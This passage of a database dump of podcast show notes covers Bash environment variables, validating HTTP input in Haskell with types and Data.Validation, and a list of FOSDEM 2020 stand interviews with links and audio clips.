seen throughout this Bash Tips series. The only difference is that they are marked for <em>export</em> to commands and sub-shells. You will often see variables (or parameters) in the environment referred to as <em>environment variables</em>. The Bash manual makes a distinction between ordinary parameters (variables) and environment variables, but many other sources are less precise about this in my experience.</p>\r\n<p>The standard variables in the environment have upper-case names (<code>HOME</code>, <code>SHELL</code>, <code>PWD</code>, etc), but there is no reason why a variable you create should not be in lower or mixed case. In fact, the Bash manual suggests that you should avoid using all upper-case names so as not to clash with Bash’s variables.</p>\r\n<p>Variables can be created and changed a number of ways.</p>\r\n<ul>\r\n<li>They can be set up at login time (globally or locally) through various standard configuration files. It is intended to look at this subject in an upcoming episode so we will leave discussing the subject until then.</li>\r\n<li>By preceding the command or script invocation with <em>name=value</em> expressions which will temporarily place these variables into the environment for the command</li>\r\n<li>Using the <code>export</code> command</li>\r\n<li>Using the <code>declare</code> command with the <code>-x</code> option</li>\r\n<li>The value of an environment variable (once established) can be changed at any time in the sub-shell with a command like <code>myvar=42</code>, just as for a normal variable</li>\r\n<li>The <code>export</code> command can also be used to turn off the <em>export</em> marker on a variable</li>\r\n<li>Deletion is performed with the <code>unset</code> command (as seen earlier in the series)</li>\r\n</ul>\r\n<p>We will look at all of these features in more detail later in the episode.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr3013/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html\">“<em>GNU BASH Reference Manual</em>”</a>\r\n<ul>\r\n<li>Section <a href=\"https://www.gnu.org/software/bash/manual/bash.html#Command-Execution-Environment\">“3.7.3 Command Execution Environment”</a></li>\r\n<li>Section <a href=\"https://www.gnu.org/software/bash/manual/bash.html#Environment\">“3.7.4 Environment”</a></li>\r\n</ul></li>\r\n<li><a href=\"https://www.gnu.org/software/coreutils/manual/\"><em>GNU Coreutils Manual</em></a>\r\n<ul>\r\n<li>Section <a href=\"https://www.gnu.org/software/coreutils/manual/html_node/env-invocation.html\">23.2 env: Run a command in a modified environment</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Env\">Wikipedia page on the <code>env</code> command</a></p></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/series.php?id=42\">HPR series: <em>Bash Scripting</em></a></p></li>\r\n<li>Previous episodes under the heading <em>Bash Tips</em>:<br />\r\n<small><strong>Episode number</strong></small>\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1648\">HPR episode 1648 <code>\"</code><em>Bash parameter manipulation</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1843\">HPR episode 1843 <code>\"</code><em>Some Bash tips</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1884\">HPR episode 1884 <code>\"</code><em>Some more Bash tips</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1903\">HPR episode 1903 <code>\"</code><em>Some further Bash tips</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1951\">HPR episode 1951 <code>\"</code><em>Some additional Bash tips</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2045\">HPR episode 2045 <code>\"</code><em>Some other Bash tips</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2278\">HPR episode 2278 <code>\"</code><em>Some supplementary Bash tips</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2293\">HPR episode 2293 <code>\"</code><em>More supplementary Bash tips</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2639\">HPR episode 2639 <code>\"</code><em>Some ancillary Bash tips - 9</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2649\">HPR episode 2649 <code>\"</code><em>More ancillary Bash tips - 10</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2659\">HPR episode 2659 <code>\"</code><em>Further ancillary Bash tips - 11</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2669\">HPR episode 2669 <code>\"</code><em>Additional ancillary Bash tips - 12</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2679\">HPR episode 2679 <code>\"</code><em>Extra ancillary Bash tips - 13</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2689\">HPR episode 2689 <code>\"</code><em>Bash Tips - 14 (Some auxiliary Bash tips)</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2699\">HPR episode 2699 <code>\"</code><em>Bash Tips - 15 (More auxiliary Bash tips)</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2709\">HPR episode 2709 <code>\"</code><em>Bash Tips - 16 (Further auxiliary Bash tips)</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2719\">HPR episode 2719 <code>\"</code><em>Bash Tips - 17 (Additional auxiliary Bash tips)</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2729\">HPR episode 2729 <code>\"</code><em>Bash Tips - 18 (Extra auxiliary Bash tips)</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2739\">HPR episode 2739 <code>\"</code><em>Bash Tips - 19 (Supplemental auxiliary Bash tips)</em><code>\"</code></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2756\">HPR episode 2756 <code>\"</code><em>Bash Tips - 20 (Some collateral Bash tips)</em><code>\"</code></a></li>\r\n</ol></li>\r\n</ul>\r\n<ul>\r\n<li>Resources:\r\n<ul>\r\n<li>Examples:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3013/bash21_ex1.sh\">bash21_ex1.sh</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3013/bash21_ex2.sh\">bash21_ex2.sh</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3013/bash21_ex3.awk\">bash21_ex3.awk</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3013/bash21_ex4.sh\">bash21_ex4.sh</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3013/bash21_ex5.sh\">bash21_ex5.sh</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3013/bash21_ex6.sh\">bash21_ex6.sh</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3013/bash21_ex6_1.cfg\">bash21_ex6_1.cfg</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3013/bash21_ex6_2.cfg\">bash21_ex6_2.cfg</a></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','Bash,variable,environment,environment variable',0,0,1),
(3020,'2020-02-28','Validating data in Haskell',1500,'tuturto talks about wow to validate incoming http request before acting on them','<h1 id=\"background\">Background</h1>\r\n<p>The space game I working on needs a admin interface that can by used by game masters to view and modify the simulation.</p>\r\n<p>For start, I added interface for viewing, modifying and creating new people. It has three HTTP endpoints that are defined below. In this episode, I’ll concentrate on creating a new person and especially making sure that parameters used are valid.</p>\r\n<pre><code>/api/admin/people              AdminApiPeopleR     GET\r\n/api/admin/people/#PersonId    AdminApiPersonR     GET PUT\r\n/api/admin/addPerson           AdminApiAddPersonR  POST</code></pre>\r\n<h1 id=\"types-and-parsing\">Types and parsing</h1>\r\n<p>There are two important approaches on making sure that data is valid. Making illegal state unpresentable and parsing instead of validation.</p>\r\n<p>If it’s impossible to create invalid data, you don’t have to validate it. Instead of using <code>Integer</code> and checking that given parameter is 0 or more, you should use <code>Natural</code>. Since <code>Natural</code> can’t have negative values, you don’t have to validate it. Similarly, instead of using a list, you could use <code>NonEmpty</code> to make sure that there’s at least one element present in the collection.</p>\r\n<p>Parse, don’t validate is similar approach. Instead of having a lax parser and then validating the result, parser should reject data that doesn’t make sense. By selecting suitable datatypes to represent data in the system, simply parsing incoming message is sometimes enough to validate it at the same time.</p>\r\n<h1 id=\"person-creation\">Person creation</h1>\r\n<p>Function in charge of generating a new person has signature of <code>generatePersonM :: RandomGen g =&gt; StarDate -&gt; PersonOptions -&gt; Rand g Person</code>. Given a current <code>StarDate</code> and <code>PersonOptions</code> describing what kind of person is needed, it will return a computation that can be executed to generate a random person.</p>\r\n<p><code>PersonOptions</code> is very barebones. There’s only one field to tell what kind of age the person should have and even that is an optional field.</p>\r\n<pre><code>data PersonOptions = PersonOptions\r\n    { personOptionsAge :: Maybe AgeOptions\r\n    } deriving (Show, Read, Eq)</code></pre>\r\n<p><code>AgeOptions</code> has two possibilities. <code>AgeBracket</code> describes case where age should be inside of given range. <code>ExactAge</code> specifies exactly what age should be.</p>\r\n<pre><code>data AgeOptions =\r\n    AgeBracket Age Age\r\n    | ExactAge Age\r\n    deriving (Show, Read, Eq)</code></pre>\r\n<p><code>Age</code> is newtype wrapping <code>Natural</code>, thus <code>Age</code> can never be less than zero.</p>\r\n<pre><code>newtype Age = Age { unAge :: Natural }\r\n    deriving (Show, Read, Eq, Num, Ord)</code></pre>\r\n<p>Hand written <code>FromJSON</code> instance takes care of rejecting numbers that aren’t integers and at least zero. One could skip the checks here and parsed <code>Age</code> still couldn’t be negative. Advantage of explicit checks is that we get much nicer error message instead of just annoying runtime exception.</p>\r\n<pre><code>instance FromJSON Age where\r\n    parseJSON =\r\n        withScientific &quot;age&quot;\r\n            (\\x -&gt; case toBoundedInteger x of\r\n                Nothing -&gt;\r\n                    mempty\r\n\r\n                Just n -&gt;\r\n                    if n &gt;= 0 then\r\n                        return $ Age $ fromIntegral (n :: Int)\r\n\r\n                    else\r\n                        mempty)</code></pre>\r\n<p>So, when creating a new person, you can have:</p>\r\n<ul>\r\n<li>no age options at all, computer can pick something</li>\r\n<li>specific age, computer calculates date of birth based on current date</li>\r\n<li>age bracket, computer calculates date of birth based on current date and bracket</li>\r\n<li>age is always integer that is 0 or more</li>\r\n</ul>\r\n<p>There’s still possibility of error. Nothing ensure that age bracket makes sense. It could be <code>AgeBracket (Age 10) (Age 5)</code> (bracket from 10 to 5). We need to add a bit of validation.</p>\r\n<p><code>Data.Validation</code> is “a data-type like Either but with an accumulating Applicative”. What this means to me is that I can validate multiple aspects and collect errors in a list. It’s handy for getting all the problems at once, instead of having to fix them one by one and retry after each fix.</p>\r\n<p>Our validation function has signature <code>validateAddPerson :: PersonOptions -&gt; Validation [ErrorCode] PersonOptions</code>. Given <code>PersonOptions</code>, it will give list of <code>ErrorCode</code> and original <code>PersonOptions</code>. Multiple validation functions can be combined for more complex validations.</p>\r\n<p>In our example <code>validateAgeOptions</code> validates only age related options of the data. <code>validateAddPerson</code> is supposed to validate whole data, but currently it just delegates to <code>validateAgeOptions</code>. In the future, we can add more validations by adding more functions and chaining them with <code>&lt;*</code> operator.</p>\r\n<pre><code>validateAddPerson :: PersonOptions -&gt; Validation [ErrorCode] PersonOptions\r\nvalidateAddPerson opt =\r\n        pure opt\r\n            &lt;* validateAgeOptions opt\r\n\r\nvalidateAgeOptions :: PersonOptions -&gt; Validation [ErrorCode] PersonOptions\r\nvalidateAgeOptions opt =\r\n    case personOptionsAge opt of\r\n        Nothing -&gt;\r\n            _Success # opt\r\n\r\n        Just (AgeBracket a b) -&gt;\r\n            if a &lt;= b\r\n                then _Success # opt\r\n                else _Failure # [ AgeBracketStartIsGreaterThanEnd ]\r\n\r\n        Just (ExactAge _) -&gt;\r\n            _Success # opt</code></pre>\r\n<h1 id=\"putting-it-all-together\">Putting it all together</h1>\r\n<p>Function that handles <code>POST</code> message and creates a new person is shown below:</p>\r\n<pre><code>postAdminApiAddPersonR :: Handler Value\r\npostAdminApiAddPersonR = do\r\n    _ &lt;- apiRequireAdmin\r\n    msg &lt;- requireJsonBody\r\n    date &lt;- runDB $ starDate\r\n    _ &lt;- raiseIfFailure $ validateAddPerson msg\r\n    g &lt;- liftIO newStdGen\r\n    let person = evalRand (generatePersonM date msg) g\r\n    pId &lt;- runDB $ insert person\r\n    returnJson (Entity pId person)</code></pre>\r\n<p>It does several things: - check that current user is admin - get json content and parse it to <code>PersonOptions</code> - get current star date from database - validate <code>PersonOptions</code> and return error if validation fails - get new random number generator - generate new person - insert it into database - return tuple of <code>(PersonId, Person)</code></p>\r\n<h1 id=\"closing\">Closing</h1>\r\n<p>Types should represent only valid states. By having invalid state unpresentable, we can avoid many errors. Likewise, parsing should reject invalid data. This usually follows from having invalid states being unpresentable (you can’t parse invalid message to invalid data if you don’t have way to represent that invalid data).</p>\r\n<p>Questions, comments and feedback welcome. Best way to reach me is either by email or in mastodon, where I’m <code>tuturto@mastodon.social</code>.</p>\r\n',364,107,0,'CC-BY-SA','validation, algebraic data types, json',0,0,1),
(3022,'2020-03-03','FOSDEM 2020 Stand Interviews',5578,'Interviews with some of the stands at FOSDEM 2020','<h1>Table of Contents</h1>\r\n\r\n<ul>\r\n  <li><a href=\"#previous\">Previously Interviewed Projects</a></li>\r\n  <li><a href=\"#missed\">Projects we did not get to Interview (yet)</a></li>\r\n  <li><a href=\"#0_A.D\">0 A.D.</a></li>\r\n  <li><a href=\"#AdoptOpenJDK\">AdoptOpenJDK</a></li>\r\n  <li><a href=\"#Apache_Camel\">Apache Camel</a></li>\r\n  <li><a href=\"#Checkmk\">Checkmk</a></li>\r\n  <li><a href=\"#Coderdojo\">Coderdojo</a></li>\r\n  <li><a href=\"#Eclipse_Foundation\">Eclipse Foundation</a></li>\r\n  <li><a href=\"#GitLab\">GitLab</a></li>\r\n  <li><a href=\"#GNU_Health\">GNU Health</a></li>\r\n  <li><a href=\"#Javascript\">Javascript</a></li>\r\n  <li><a href=\"#Jenkins-x\">Jenkins-x</a></li>\r\n  <li><a href=\"#Kopano\">Kopano</a></li>\r\n  <li><a href=\"#KubeVirt_Metal3\">KubeVirt and Metal3</a></li>\r\n  <li><a href=\"#Micropython_Espruino\">Micropython and Espruino</a></li>\r\n  <li><a href=\"#Nuspell\">Nuspell</a></li>\r\n  <li><a href=\"#openHAB\">openHAB</a></li>\r\n  <li><a href=\"#OpenStack_Foundation\">OpenStack Foundation</a></li>\r\n  <li><a href=\"#OpenTAP\">OpenTAP</a></li>\r\n  <li><a href=\"#OpenUK\">OpenUK</a></li>\r\n  <li><a href=\"#openWifi\">openWifi</a></li>\r\n  <li><a href=\"#OWASP\">OWASP</a></li>\r\n  <li><a href=\"#Percona\">Percona</a></li>\r\n  <li><a href=\"#PineTime\">PineTime</a></li>\r\n  <li><a href=\"#PostGraphile\">PostGraphile</a></li>\r\n  <li><a href=\"#Skolelinux_AlekSIS_Teckids\">Skolelinux / AlekSIS / Teckids</a></li>\r\n  <li><a href=\"#Technoethical\">Technoethical</a></li>\r\n  <li><a href=\"#TinyGo\">Tiny Go</a></li>\r\n  <li><a href=\"#XCP-ng\">XCP-ng</a></li>\r\n  <li><a href=\"#Zenroom\">Zenroom</a></li>\r\n  <li><a href=\"#fenster-full\">Fenster</a></li>\r\n</ul>\r\n\r\n<h2 id=\"previous\">Previously Interviewed Projects</h2>\r\n<ul>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2224#K2.3\">Apache Software Foundation</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2226#AW.4\">Automotive Grade Linux</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2222#K1A.10\">CentOS</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2222#K1A.5\">CiviCRM</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2226#AW.1\">Coreboot</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2223#K1B.4\">Debian</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1702\">Flashrom</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2223#K1C.7b\">Foreman</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2222#K1A.7\">FreeBSD Project</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2223#K1C.1\">Free Software Foundation Europe</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2223#K1B.2\">Gentoo Linux</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2222#K1A.2\">GNOME</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2227#H.1\">Godot Engine</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2225#K2.15b\">Google Summer of Code</a> (Saturday)</li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1932\">Grafana</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2223#K1B.1b\">Haiku</a> (Saturday)</li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2222#K1A.8\">illumos</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2226#AW.5\">Infobooth on amateur radio</a> (HAM Radio)</li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2224#K2.5\">Jenkins</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2222#K1A.1\">KDE</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2222#K1A.3\">LibreOffice</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1746\">Linux Professional Institute</a> (Saturday)</li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2225#K2.19\">Matrix</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2224#K2.1\">Mozilla</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2225#K2.18\">Musescore</a> (Saturday)</li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2223#K1B.6\">Nextcloud</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2226#AW.7\">OpenEmbedded</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1957#OpenMandriva\">OpenMandriva</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2222#K1A.9\">openSUSE Project</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2223#K1C.7a\">oVirt</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2224#K2.4\">OW2 Open Source Community</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2225#K2.11\">Perl</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2223#K1B.5\">PostgreSQL</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2223#K1B.1a\">ReactOS</a> (Sunday)</li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1697\">Software Freedom Conservancy</a> (Sunday)</li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2222#K1A.11\">The Fedora Project</a></li>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=2227#H.5\">wolfSSL</a></li>\r\n</ul>\r\n\r\n<h2 id=\"missed\">Projects we did not get to Interview (yet)</h2>\r\n<ul>\r\n  <li><a href=\"https://3box.io/\">3Box</a> (Sunday)</li>\r\n  <li><a href=\"https://www.davx5.com/\">Davx</a></li>\r\n  <li><a href=\"https://fossasia.org/\">FOSSASIA</a> (Sunday)</li>\r\n  <li><a href=\"https://freeculturepodcasts.org/\">Free Culture Podcasts</a> (Sunday)</li>\r\n  <li><a href=\"https://www.linphone.org/\">Linphone</a></li>\r\n  <li><a href=\"https://www.linuxboot.org/\">LinuxBoot</a></li>\r\n  <li><a href=\"https://mattermost.com/\">Mattermost</a></li>\r\n  <li><a href=\"https://www.mautic.org\">Mautic</a> (Saturday)</li>\r\n  <li><a href=\"https://appinventor.mit.edu/\">MIT App Inventor</a> (Sunday)</li>\r\n  <li><a href=\"https://www.ntop.org/\">ntopng</a> (Sunday)</li>\r\n  <li><a href=\"https://www.onlyoffice.com/\">ONLYOFFICE</a></li>\r\n  <li><a href=\"https://opensourcedesign.net\">Open Source Design</a> (Sunday)</li>\r\n  <li><a href=\"https://kiwitcms.org/\">Open Source Test Management</a> (Sunday)</li>\r\n  <li><a href=\"https://pharo.org/\">Pharo</a> (Sunday)</li>\r\n  <li><a href=\"https://pine64.org/\">PINE64</a> (Sunday)</li>\r\n  <li><a href=\"https://raku.org/\">Raku</a></li>\r\n  <li><a href=\"https://sugarlabs.org/\">Sugar Labs</a> (Saturday)</li>\r\n  <li><a href=\"https://syndesis.io/\">Syndesis</a></li>\r\n  <li><a href=\"https://github.com/tine20/tine20\">Tine 2.0</a> (Saturday)</li>\r\n  <li><a href=\"https://www.algoo.fr/fr/tracim\">Tracim</a> (Sunday)</li>\r\n  <li><a href=\"https://yottadb.com/\">YottaDB</a></li>\r\n</ul>\r\n\r\n<h2 id=\"0_A.D\">0 A.D.</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/0_A.D.png\"/></p>\r\n<blockquote cite=\"https://en.wikipedia.org/wiki/0_A.D._(video_game)\">\r\n0 A.D. is a free and open-source, real-time strategy game under development by Wildfire Games. It is a historical war and economy game focusing on the years between 500 BC and 1 BC for the first part, and a planned second part for the years 1 AD to 500 AD. The game is cross-platform, playable on Windows, macOS, FreeBSD, Linux, and OpenBSD. It aims to be entirely free and open-source, using the GPLv2+ license for the game engine and CC BY-SA for the game art. \r\n</blockquote>\r\n\r\n<blockquote cite=\"https://wildfiregames.com/\">\r\nWildfire Games is a global group of volunteer game developers. We create open source games and mods.\r\n</blockquote>\r\n<h3>Listen to the interview with Stanislas Dolcini from 0 A.D.</h3>\r\n<p><img alt=\"headshot\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/0_A.D-headshot.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=94.000000,211.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=94.000000,211.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://play0ad.com\">https://play0ad.com</a></li>\r\n<li>Source Code: <a href=\"https://github.com/StanleySweet?tab=repositories\">https://github.com/StanleySweet?tab=repositories</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/0_A.D._(video_game)\">https://en.wikipedia.org/wiki/0_A.D._(video_game)</a></li>\r\n<li><a href=\"https://wildfiregames.com/\">https://wildfiregames.com/</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"AdoptOpenJDK\">AdoptOpenJDK</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/AdoptOpenJDK.png\"/></p>\r\n<blockquote cite=\"https://adoptopenjdk.net/\">\r\nPrebuilt OpenJDK Binaries for Free!<br />\r\nJava&#153; is the world\'s leading programming language and platform. AdoptOpenJDK uses infrastructure, build and test scripts to produce prebuilt binaries from OpenJDK&#153; class libraries and a choice of either the OpenJDK HotSpot or Eclipse OpenJ9 VM. All AdoptOpenJDK binaries and scripts are open source licensed and available for free.\r\n</blockquote>\r\n<h3>Listen to the interview with Stewart X Addison AdoptOpenJDK</h3>\r\n<p><img alt=\"headshot\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/AdoptOpenJDK-headshot.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=209.000000,294.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=209.000000,294.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://adoptopenjdk.net/\">https://adoptopenjdk.net/</a></li>\r\n<li>Source Code: <a href=\"https://github.com/AdoptOpenJDK\">https://github.com/AdoptOpenJDK</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/OpenJDK#OpenJDK_builds\">https://en.wikipedia.org/wiki/OpenJDK#OpenJDK_builds</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"Apache_Camel\">Apache Camel</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/Apache_Camel.png\"/></p>\r\n<blockquote cite=\"https://camel.apache.org/\">\r\nApache Camel is an open source framework for message-oriented middleware with a rule-based routing and mediation engine that provides a Java object-based implementation of the Enterprise Integration Patterns using an application programming interface (or declarative Java domain-specific language) to configure routing and mediation rules. The domain-specific language means that Apache Camel can support type-safe smart completion of routing rules in an integrated development environment using regular Java code without large amounts of XML configuration files, though XML configuration inside Spring Framework is also supported. Camel is often used with Apache ServiceMix, Apache ActiveMQ and Apache CXF in service-oriented architecture projects. \r\n</blockquote>\r\n<h3>Listen to the interview with Rachel Yord&#225;n from Apache Camel</h3>\r\n<p><img alt=\"headshot\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/Apache_Camel-headshot.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=304.000000,420.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=304.000000,420.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://camel.apache.org/\">https://camel.apache.org/</a></li>\r\n<li>Source Code: <a href=\"https://github.com/apache/camel/\">https://github.com/apache/camel/</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Apache_Camel\">https://en.wikipedia.org/wiki/Apache_Camel</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"Checkmk\">Checkmk</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/Checkmk.png\"/></p>\r\n<blockquote cite=\"https://checkmk.com/\">\r\nBest-in-class infrastructure and application monitoring. Helping you stay up and running from simple to the most complex environments.\r\n</blockquote>\r\n<h3>Listen to the interview with Marcel Arentz from Checkmk</h3>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=409.000000,529.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=409.000000,529.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://checkmk.com/\">https://checkmk.com/</a></li>\r\n<li>Source Code: <a href=\"https://github.com/tribe29/checkmk\">https://github.com/tribe29/checkmk</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Check_MK\">https://en.wikipedia.org/wiki/Check_MK</a></li>\r\n<li><a href=\"https://tribe29.com/\">https://tribe29.com/</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"Coderdojo\">Coderdojo</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/Coderdojo.png\"/></p>\r\n<blockquote cite=\"https://coderdojobelgium.be/en\">\r\nCoderDojo organizes free coding workshops (called Dojo&#146;s) for girls and boys from 7 to 18 years old. A Dojo is entirely prepared and led by volunteers. If you are older, then you can help out at an existing Dojo or start your very own CoderDojo!      \r\n</blockquote>\r\n<h3>Listen to the interview with Coderdojo</h3>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=536.000000,708.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=536.000000,708.000000\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Project Website: <a href=\"https://coderdojobelgium.be/en\">https://coderdojobelgium.be/en</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/CoderDojo\">https://en.wikipedia.org/wiki/CoderDojo</a></li>\r\n</ul>\r\n\r\n\r\n<h2 id=\"Eclipse_Foundation\">Eclipse Foundation</h2>\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://hackerpublicradio.org/eps/hpr3022/Eclipse_Foundation.png\"/></p>\r\n<blockquote cite=\"https://www.eclipse.org/org/\">\r\nThe Eclipse Foundation provides our global community of individuals and organizations with a mature, scalable, and business-friendly environment for open source software collaboration and innovation. The Foundation is home to the Eclipse IDE, Jakarta EE, and over 350 open source projects, including runtimes, tools, and frameworks for a wide range of technology domains such as the Internet of Things, automotive, geospatial, systems engineering, and many others.\r\n</blockquote>\r\n<h3>Listen to the interview with Mika&#235;l Barbero, Release Engineer, Eclipse Foundation</h3>\r\n<p><img alt=\"headshot\" height=\"300\" src=\"https://hackerpublicradio.org/eps/hpr3022/Eclipse_Foundation-headshot.png\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.ogg#t=717.000000,801.000000\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/local/hpr3022.mp3#t=717.000000,801.000000\" 